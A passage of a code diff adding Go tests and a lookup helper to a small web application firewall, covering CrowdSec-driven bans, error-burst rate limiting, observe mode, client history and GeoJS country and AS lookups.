+	if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
+		waiting[0].Reason != "listed by the CrowdSec decision list" ||
+		!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
+			expires)) {
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
+			waiting)
+	}
+
+	// Each request while the ban lasts is refused under it, as under any
+	// ban, and once it has ended the client is let through.
+	clk.advance(4*time.Hour - time.Second)
+
+	line = s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+	wantReputation(t, line)
+
+	if line.BanExpires != expires {
+		t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
+	}
+
+	clk.advance(time.Second)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	// The ban and the hit are counted, and the list has the metrics of any
+	// list fetched from a URL.
+	metrics := s.scrape()
+	labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
+
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="crowdsec",`+
+		`instance="`+alertInstance+`"}`, 1)
+	wantMetric(t, metrics, "smallwebwaf_reputation_hits_total"+labels, 1)
+	wantMetric(t, metrics, "smallwebwaf_reputation_failures_total"+labels, 0)
+	wantMetric(t, metrics, "smallwebwaf_reputation_last_fetch_timestamp_seconds"+labels,
+		float64(fetched.Unix()))
+}
+
+func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startWithClock(t, "", map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey,
+	})
+	// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
+	// answered.
+	fetched := clk.Now()
+	loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
+		`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
+		`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
+		`"value": "2001:db8::9"}]`)
+
+	// Just before its end, the decision bans a client in the netblock, and
+	// one on an IPv6 address bans the address's group, the /64.
+	clk.advance(time.Minute - time.Nanosecond)
+	s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionBanned)
+	s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionBanned)
+	s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionBanned)
+
+	// Once it has ended, it bans no other client, and the bans it made end
+	// with it.
+	clk.advance(time.Nanosecond)
+
+	for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
+		wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
+	}
+
+	if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
+		t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
+			"2001:db8::/64", made)
+	}
+
+	if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
+		t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
+	}
+}
+
+func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
+	})
+	loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
+		`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
+		`"value": "`+client+`"}]`)
+
+	line := s.get(client, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionBanned)
+	wantReputation(t, line, decisionsURL)
+
+	if held := server.Ledger.Snapshot(); len(held) != 0 {
+		t.Errorf("bans %+v, want none", held)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
+		waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
+		waiting[1].Detail["mode"] != observe {
+		t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
+			"marked observe", waiting)
+	}
+}
+
+// loadDecisions puts into server's lists the copy of the decision list at
+// decisionsURL, answer, the engine's answer, fetched at fetched, as
+// reputation.json would at start.
+func loadDecisions(
+	t *testing.T, server *proxy.Server, fetched time.Time, answer string,
+) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
+	}})
+	if err != nil {
+		t.Fatalf("load the decision list: %v", err)
+	}
+}

internal/proxy/errorburst_test.go

@@ -0,0 +1,366 @@
+package proxy_test
+
+import (
+	"maps"
+	"net/http"
+	"net/netip"
+	"reflect"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
+
+// refused is a request the tests here send, which servewaf refuses after a rule
+// file match.
+type refused int
+
+const (
+	// blockRule is a request testRules' block rule refuses with 403.
+	blockRule refused = iota
+	// banRule is one its ban rule refuses with 403, and bans the client
+	// for.
+	banRule
+)
+
+// send sends r from the client at from, checks its answer and log line as
+// sender.request does, and returns the line.
+func (r refused) send(s *sender, from string) logLine {
+	s.t.Helper()
+
+	switch r {
+	case blockRule:
+		return s.request(from, blockedPath, http.StatusForbidden,
+			requestlog.ActionRuleBlocked)
+	case banRule:
+		return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
+	}
+
+	s.t.Fatalf("no request for the refusal %d", r)
+
+	return logLine{}
+}
+
+// startForErrorBurst is startWithClock with testRules, the metrics token and
+// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
+func startForErrorBurst(
+	t *testing.T, threshold string, env map[string]string,
+) (*sender, *clock, *proxy.Server) {
+	t.Helper()
+
+	settings := map[string]string{
+		errorBurstThreshold: threshold,
+		rulesDir:            writeRules(t, testRules),
+		metricsToken:        token,
+	}
+	maps.Copy(settings, env)
+
+	return startWithClock(t, "", settings)
+}
+
+func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		// refusals are four, one over the threshold of three.
+		refusals []refused
+	}{
+		{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
+		{"a ban rule last", []refused{blockRule, blockRule, blockRule, banRule}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, _, _ := startForErrorBurst(t, "3", nil)
+
+			// Three refusals break nothing, and the app's answers between
+			// them are not counted.
+			for i, r := range tc.refusals[:3] {
+				line := r.send(s, client)
+				if line.LimitHit != "" || line.Offence != "" {
+					t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
+						"want none", i+1, line.LimitHit, line.Offence)
+				}
+
+				s.get(client, http.StatusOK, requestlog.ActionForward)
+			}
+
+			// The fourth is answered as the others were, breaks the error
+			// burst, and bans the client.
+			line := tc.refusals[3].send(s, client)
+			if line.LimitHit != requestlog.LimitHitErrorBurst ||
+				line.Offence != requestlog.OffenceLimit {
+				t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
+					"and limit", line.LimitHit, line.Offence)
+			}
+
+			s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+		})
+	}
+}
+
+func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server := startForErrorBurst(t, "2", nil)
+	start := clk.Now()
+
+	blockRule.send(s, client)
+	blockRule.send(s, client)
+	line := blockRule.send(s, client)
+
+	expires := start.Add(time.Hour)
+	if line.BanExpires != requestlog.FormatTime(expires) {
+		t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
+	}
+
+	netblock := netip.MustParsePrefix(client + "/32")
+	want := bans.Ban{
+		Netblock: netblock,
+		Start:    start,
+		Expires:  expires,
+		Cause:    bans.CauseLimit,
+		Reason:   "refusals per minute over the limit of 2",
+		Notes: bans.Notes{
+			Kind:   ratelimit.KindRefusals,
+			Limit:  2,
+			Window: minute,
+			Count:  3,
+			Request: bans.Request{
+				Time:      start,
+				Method:    http.MethodGet,
+				Host:      appHost,
+				Path:      blockedPath,
+				Status:    http.StatusForbidden,
+				UserAgent: userAgent,
+			},
+			Requests: 3,
+		},
+	}
+
+	got := server.Ledger.Bans(netblock)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
+		t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
+	}
+
+	wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != wantOffences {
+		t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
+	}
+
+	metrics := s.scrape()
+	wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
+		`kind="refusals",window="minute"}`, 1)
+	wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
+}
+
+func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:       "1h",
+		errorBurstThreshold: "2",
+		rulesDir:            writeRules(t, testRules),
+		countryLimitPercent: countryDEHalf,
+	})
+
+	// Half of the threshold would be one, which the second refusal is over.
+	for range 2 {
+		line := blockRule.send(s, fromDE)
+		if line.LimitHit != "" {
+			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+		}
+	}
+
+	blockRule.send(s, fromDE)
+
+	got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
+	if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
+		t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
+	}
+}
+
+func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
+	t.Parallel()
+
+	statuses := map[string]int{
+		"/missing":   http.StatusNotFound,
+		"/private":   http.StatusUnauthorized,
+		"/forbidden": http.StatusForbidden,
+	}
+	s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(statuses[r.URL.Path])
+	}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
+
+	for range 2 {
+		for path, status := range statuses {
+			s.request(client, path, status, requestlog.ActionForward)
+		}
+	}
+
+	// The first refusal is one, not over the threshold.
+	line := blockRule.send(s, client)
+	if line.LimitHit != "" {
+		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+	}
+
+	// No ban was made, nor its alert raised.
+	s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
+	wantAlerts(t, queue)
+}
+
+func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		threshold string
+		// broken is whether the 31st refusal breaks the error burst.
+		broken bool
+	}{
+		{"", true},
+		{off, false},
+	} {
+		t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
+			t.Parallel()
+
+			env := map[string]string{rulesDir: writeRules(t, testRules)}
+			if tc.threshold != "" {
+				env[errorBurstThreshold] = tc.threshold
+			}
+
+			s, _, _ := startWithClock(t, "", env)
+
+			var line logLine
+			for range 31 {
+				line = blockRule.send(s, client)
+			}
+
+			if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
+				t.Errorf("the 31st refusal broke the error burst: %t, want %t",
+					broken, tc.broken)
+			}
+		})
+	}
+}
+
+func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
+	t.Parallel()
+
+	const (
+		allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
+		exempt  = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
+	)
+
+	s, _, _ := startForErrorBurst(t, "1", map[string]string{
+		allowNets: allowed, rateLimitExemptNets: exempt,
+	})
+
+	// A client in SWWAF_ALLOW_NETS is not refused, and so not counted.
+	for range 3 {
+		s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
+	}
+
+	// One the rate limits do not apply to is.
+	blockRule.send(s, exempt)
+
+	line := blockRule.send(s, exempt)
+	if line.LimitHit != requestlog.LimitHitErrorBurst {
+		t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
+	}
+
+	s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
+}
+
+func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
+	t.Parallel()
+
+	s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
+
+	blockRule.send(s, client)
+	blockRule.send(s, client)
+
+	// Within the same minute, once the ban has ended, the next refusal is
+	// the first again.
+	clk.advance(time.Second)
+
+	line := blockRule.send(s, client)
+	if line.LimitHit != "" {
+		t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+	}
+}
+
+func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	s, clk, server, queue := startWithAlerts(t, map[string]string{
+		mode:                observe,
+		errorBurstThreshold: "1",
+		rulesDir:            writeRules(t, testRules),
+	})
+	start := clk.Now()
+	held := bans.Ban{
+		Netblock: netip.MustParsePrefix(otherClient + "/32"),
+		Start:    start,
+		Expires:  start.Add(time.Hour),
+		Cause:    bans.CauseAdmin,
+	}
+	server.Ledger.Load([]bans.Ban{held})
+
+	// Under a ban, enforce mode would have refused these before the rule, so
+	// they are not counted.
+	for range 2 {
+		line := s.request(otherClient, blockedPath, http.StatusOK,
+			requestlog.ActionForward)
+		wantWouldAction(t, line, requestlog.ActionBanned)
+
+		if line.LimitHit != "" {
+			t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
+		}
+	}
+
+	// The block rule's refusal, which enforce mode would have answered 403,
+	// is the second of the client's, and would have banned it.
+	s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
+
+	line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionRuleBlocked)
+
+	if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
+		t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
+			"and none", line.LimitHit, line.BanExpires)
+	}
+
+	if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
+		t.Errorf("bans %+v, want only the one held", got)
+	}
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != 1 {
+		t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
+	}
+
+	notes, _ := waiting[0].Detail["notes"].(bans.Notes)
+	if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
+		notes.Request.Status != http.StatusForbidden {
+		t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
+			notes)
+	}
+
+	alert := banAlert(alerts.EventBan, start, client, bans.Ban{
+		Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+		Reason: "refusals per minute over the limit of 1", Notes: notes,
+	}, requestlog.FormatTime(start.Add(time.Hour)))
+	alert.Detail["mode"] = observe
+	wantAlerts(t, queue, alert)
+}

internal/proxy/health_test.go

@@ -0,0 +1,40 @@
+package proxy_test
+
+import (
+	"net/http"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
+	t.Parallel()
+
+	// With a limit of one request a minute, any request counted before
+	// the last one would have it refused.
+	s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
+
+	const (
+		healthChecks = 3
+		contentType  = "text/plain; charset=utf-8"
+	)
+
+	for range healthChecks {
+		got := s.adminRequest("", http.MethodGet, proxy.HealthPath, "", http.StatusOK)
+
+		if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
+			t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
+				"with %q", got.body, got.header.Get("Content-Type"), contentType)
+		}
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
+		if line.ResponseContentType != contentType {
+			t.Errorf("health check's log line has response_content_type %q, "+
+				"want %q", line.ResponseContentType, contentType)
+		}
+	}
+}

internal/proxy/history_test.go

@@ -0,0 +1,142 @@
+package proxy_test
+
+import (
+	"io"
+	"net/http"
+	"net/netip"
+	"strings"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	s, clk, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "2",
+		deniedCountries:    "kp",
+	})
+	start := clk.Now()
+
+	// Two let through, one over the limit, which bans the client, and one
+	// refused under that ban, for which the client is not looked up. GeoJS
+	// answers about the client at its first request, and its later ones
+	// use that answer.
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	clk.advance(time.Second)
+	s.get(fromDE, http.StatusOK, requestlog.ActionForward)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited)
+	clk.advance(time.Second)
+	s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.History{
+		FirstSeen: start,
+		LastSeen:  start.Add(2 * time.Second),
+		ASN:       asnDE,
+		ASName:    asNameDE,
+		Country:   "DE",
+		LookedUp:  start,
+		Requests:  4,
+		Forwarded: 2,
+		Refused:   2,
+		// The app answers with no body, smallwebwaf with its status text.
+		ResponseBytes: 2 * int64(len("Forbidden\n")),
+		Responses:     ratelimit.Responses{Status2xx: 2, Status4xx: 2},
+		Offences:      ratelimit.Offences{Limit: 1},
+	}
+
+	got := historyOf(t, server, fromDE)
+	if got != want {
+		t.Errorf("history\n%+v\nwant\n%+v", got, want)
+	}
+}
+
+func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
+
+	// The third client drops the least recently seen, the first, with its
+	// history.
+	for _, from := range []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} {
+		s.get(from, http.StatusOK, requestlog.ActionForward)
+	}
+
+	_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
+	if server.Limiter.Len() != 2 || held {
+		t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
+			"without it", server.Limiter.Len(), held)
+	}
+}
+
+func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+		_, _ = io.Copy(io.Discard, r.Body)
+		_, _ = io.WriteString(w, "hello")
+	})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
+
+	got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
+	wantStatus(t, got, http.StatusOK)
+	out.endedLine(t)
+
+	history := historyOf(t, server, localhost)
+	if history.RequestBytes != 3 || history.ResponseBytes != 5 {
+		t.Errorf("history counts %d bytes in and %d out, want 3 and 5",
+			history.RequestBytes, history.ResponseBytes)
+	}
+}
+
+func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
+
+	s.adminRequest("", http.MethodGet, proxy.HealthPath, "", http.StatusOK)
+	s.adminRequest("", http.MethodGet, proxy.MetricsPath, "", http.StatusUnauthorized)
+	s.scrape()
+
+	if clients := server.Limiter.Snapshot(); len(clients) != 0 {
+		t.Errorf("the table holds %+v, want no client", clients)
+	}
+}
+
+func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
+	t.Parallel()
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
+
+	wantStatus(t, get(t, addr, "/_smallwebwaf/nothing"), http.StatusNotFound)
+	out.endedLine(t)
+
+	history := historyOf(t, server, localhost)
+	if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
+		t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
+			"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
+	}
+}
+
+// historyOf returns the history of the client at addr.
+func historyOf(t *testing.T, server *proxy.Server, addr string) ratelimit.History {
+	t.Helper()
+
+	client := netip.MustParsePrefix(addr + "/32")
+	for _, c := range server.Limiter.Snapshot() {
+		if c.Client == client {
+			return c.History
+		}
+	}
+
+	t.Fatalf("%s is not in the table", client)
+
+	return ratelimit.History{}
+}

internal/proxy/lookup.go

@@ -0,0 +1,78 @@
+package proxy
+
+import (
+	"context"
+	"net/http"
+	"net/netip"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+)
+
+// The headers in which an answer of allow gives rproxy the client's AS number
+// and country, for the app, while SWWAF_ADD_LOOKUP_HEADERS is set. Go writes
+// every header name in this form, as it sends it and as it receives it, so
+// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
+const (
+	asnHeader     = "X-Client-Asn"
+	countryHeader = "X-Client-Country"
+)
+
+// lookUp looks up the client's AS number and country, in the lookup
+// database or through GeoJS, and notes them for the log line, unless
+// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
+// link-local address, which no lookup can place. The lookup database
+// answers at once. With GeoJS, while a setting needs the answer, such as a
+// country list or a biased threshold, a new client's request waits for it,
+// unless refusedWhateverTheAnswer reports true. ctx is the request's own
+// context.
+func (rq *request) lookUp(ctx context.Context, now time.Time) {
+	if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) {
+		return
+	}
+
+	client := rq.h.clientGroup(rq.client)
+
+	switch {
+	case rq.h.config.LookupSource == "file":
+		rq.lookupAnswer = rq.h.lookupFile.LookUp(client)
+	case rq.refusedWhateverTheAnswer(now):
+		rq.lookupAnswer = rq.h.geojs.LookUpWithoutWaiting(ctx, client)
+		rq.skippedLookupWait = rq.lookupAnswer.Answered.IsZero()
+	default:
+		rq.lookupAnswer = rq.h.geojs.LookUp(ctx, client)
+	}
+
+	rq.lookedUp = true
+	rq.line.ASN = rq.lookupAnswer.ASN
+	rq.line.ASName = rq.lookupAnswer.ASName
+	rq.line.Country = rq.lookupAnswer.Country
+}
+
+// addLookup adds answer, an answer about a client from the lookup
+// database or GeoJS, to the client's history, and to the notes of the bans
+// on its netblock that have no AS number, AS name or country yet.
+func (h *handler) addLookup(answer lookup.Answer) {
+	h.limiter.AddLookup(answer.Client, answer.Answered,
+		answer.ASN, answer.ASName, answer.Country)
+	h.ledger.AddLookup(h.netblock(answer.Client.Addr()),
+		answer.ASN, answer.ASName, answer.Country)
+}
+
+// setLookupHeaders sets the headers that give the client's AS number and
+// country, leaving out one that is unknown.
+func setLookupHeaders(header http.Header, asn, country string) {
+	if asn != "" {
+		header.Set(asnHeader, asn)
+	}
+
+	if country != "" {
+		header.Set(countryHeader, country)
+	}
+}
+
+// canBePlaced reports whether a lookup can place addr: private, loopback
+// and link-local addresses have no AS number or country.
+func canBePlaced(addr netip.Addr) bool {
+	return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
+}

internal/proxy/lookup_test.go

@@ -0,0 +1,443 @@
+package proxy_test
+
+import (
+	"net/http"
+	"net/netip"
+	"path/filepath"
+	"slices"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// asnAndCountry is what a lookup gives a client: its AS number, AS name
+// and country.
+type asnAndCountry struct{ asn, asName, country string }
+
+// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
+// lookup database.
+const fileSource = "file"
+
+func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
+	t.Parallel()
+
+	// The stand-in for GeoJS answers only once released. A request that
+	// waited for it would wait an hour, and get no answer within
+	// waitLimit.
+	geojsURL, asked, release := startHeldGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		lookupTimeout:      "1h",
+		rateLimitPerMinute: "1",
+	})
+
+	// fromDE's second request breaks the limit and bans it, and fromKP
+	// comes too. None waits for GeoJS.
+	for _, line := range []logLine{
+		s.get(fromDE, http.StatusOK, requestlog.ActionForward),
+		s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited),
+		s.get(fromKP, http.StatusOK, requestlog.ActionForward),
+	} {
+		got := asnAndCountry{line.ASN, line.ASName, line.Country}
+		if got != (asnAndCountry{}) {
+			t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
+		}
+	}
+
+	// Once GeoJS answers, each answer reaches the client's history, and
+	// fromDE's reaches the notes of its ban.
+	release()
+
+	netblock := netip.MustParsePrefix(fromDE + "/32")
+
+	waitUntil(func() bool {
+		return historyOf(t, server, fromDE).ASN != "" &&
+			historyOf(t, server, fromKP).ASN != "" &&
+			server.Ledger.Bans(netblock)[0].Notes.ASN != ""
+	})
+
+	de := asnAndCountry{asnDE, asNameDE, "DE"}
+
+	for addr, want := range map[string]asnAndCountry{
+		fromDE: de, fromKP: {asnKP, asNameKP, "KP"},
+	} {
+		h := historyOf(t, server, addr)
+		if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != want {
+			t.Errorf("%s's history has %+v, want %+v", addr, got, want)
+		}
+	}
+
+	notes := server.Ledger.Bans(netblock)[0].Notes
+	if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de {
+		t.Errorf("the ban's notes have %+v, want %+v", got, de)
+	}
+
+	// GeoJS was asked about each client once, fromKP after fromDE, whose
+	// request was under way when fromKP came.
+	if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
+		t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
+	}
+}
+
+func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
+	t.Parallel()
+
+	// The country list has a new client's request wait for its answer,
+	// which the stand-in for GeoJS gives only once released.
+	geojsURL, asked, release := startHeldGeoJS(t)
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
+	addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:  trustLocalhost,
+			lookupTimeout:   "1h",
+			deniedCountries: "kp",
+		})
+
+	requestFromDE := func() *http.Request {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, fromDE)
+
+		return req
+	}
+
+	// fromDE's first request arrives two seconds before a minute ends,
+	// and waits for GeoJS.
+	first, httpClient := requestFromDE(), newClient(t)
+	firstEnded := make(chan error, 1)
+
+	go func() {
+		res, err := httpClient.Do(first)
+		if err == nil {
+			err = readAnswer(res).err
+		}
+
+		firstEnded <- err
+	}()
+
+	waitUntil(func() bool { return len(asked()) == 1 })
+
+	// Half a second into the next minute, the answer is kept, as an edit
+	// of lookups.json would keep it, while the first request still waits
+	// for GeoJS. The second request goes on at once, and is counted.
+	clk.advance(2500 * time.Millisecond)
+	server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
+		Country: "DE", Answered: clk.Now(), Used: clk.Now(),
+	}})
+	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
+
+	// GeoJS answers, and the first request goes on.
+	release()
+
+	err := <-firstEnded
+	if err != nil {
+		t.Fatalf("first request: %v", err)
+	}
+
+	wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
+
+	// The third request's count holds all three: the first was counted
+	// when it went on, in the minute under way, and the second's count
+	// was kept.
+	clk.advance(500 * time.Millisecond)
+	wantStatus(t, do(t, requestFromDE()), http.StatusOK)
+
+	if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
+		t.Errorf("the third request's count in the minute is %v, want 3", got)
+	}
+}
+
+func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
+	t.Parallel()
+
+	geojsURL, _ := startGeoJS(t)
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {})
+	clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
+	addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
+		map[string]string{
+			trustedProxies:     trustLocalhost,
+			alertWebhookURL:    "https://alerts.example/smallwebwaf",
+			rateLimitPerMinute: "1",
+		})
+	s := &sender{t: t, addr: addr, out: out}
+
+	// The answer is kept before the requests, so GeoJS is not asked, and
+	// gives no answer of its own.
+	netblock := netip.MustParsePrefix(fromDE + "/32")
